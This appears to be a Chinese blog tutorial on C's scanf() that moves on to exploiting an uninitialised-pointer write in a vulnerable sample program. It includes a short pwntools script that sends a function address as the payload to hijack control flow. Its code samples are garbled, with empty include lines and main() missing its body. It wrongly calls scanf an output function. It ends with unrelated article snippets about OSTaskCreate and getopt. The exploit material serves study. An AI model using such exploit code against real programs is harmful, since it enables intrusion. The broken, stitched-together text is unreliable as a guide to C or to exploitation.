scanf()是c語言中的乙個輸出函式。與printf函式一樣,都被宣告在標頭檔案stdio.h裡,因此在使用scanf函式時要加上#include 。(在有一些實現中,printf函式與scanf函式在使用時可以不使用預編譯命令#include 。)它是格式輸入函式,即按使用者指定的格式從鍵盤上把資料輸入到指定的變數之中。
int
scanf
(const
char
* restrict format,...);
函式 scanf() 是從標準輸入流stdin (標準輸入裝置,一般指向鍵盤)中讀內容的通用子程式,可以說明的格式讀入多個字元,並儲存在對應位址的變數中。
函式的第乙個引數是格式字串,它指定了輸入的格式,並按照格式說明符解析輸入對應位置的資訊並儲存於可變引數列表中對應的指標所指位置。每乙個指標要求非空,並且與字串中的格式符一一順次對應。
示例程式(正確寫法):
#include
intmain()
反彙編檢視scanf
漏洞程式(經典的錯誤寫法):
#include
#include
intmain()
a的值0x0804a010是fflush的位址。反彙編檢視scanf
這裡是把a的值壓入棧中。由於a的值沒有進行初始化,是乙個隨機的值。也就是這個壓入堆疊的值是乙個隨機的,由於很多位址是無法寫入的,因此很容易導致程式崩潰。
#-
*- coding: utf-8-
*- #!/usr/bin/python
from pwn import *
p=process
('./test'
)system_addr =
0x0804857d
payload =
p32(system_addr)
p.send
(payload)
p.interactive
()
執行結果如下
scanf 函式分析
首先,先來講一下scanf的讀取流程 從鍵盤輸入的都是字元型別 一系列的字元 scanf 的作用就是將這個字串行轉換成乙個或多個指定的型別,並儲存到變數中。從鍵盤輸入的字串行會先快取到鍵盤緩衝區中,當使用者輸入回車,這時會清空鍵盤緩衝區,將鍵盤緩衝區的資料 包括回車 送入到stdin中 這時scan...
OSTaskCreate()函式分析
int8u ostaskcreate void task void pd void p arg,os stk ptos,int8u prio 函式返回乙個8位的整型數,呼叫該函式需要四個引數。第乙個引數乙個指標,也就是使用者 的首位址,在平時使用中我們把自己建立的任務的名字作為這個引數就可以了 第三...
getopt函式分析
函式getopt主要用於拆分命令列引數,用這個函式就不自己寫命令列引數解析程式了,以下 摘自tcpdump原始碼,對這個函式比較感興趣,故對此進行分析注釋,因水平實在不敢恭維,不足之處希望能一起 函式getopt 有三個引數,nargc,nargv就是命令列傳過來的argc和argv字串ostr,它...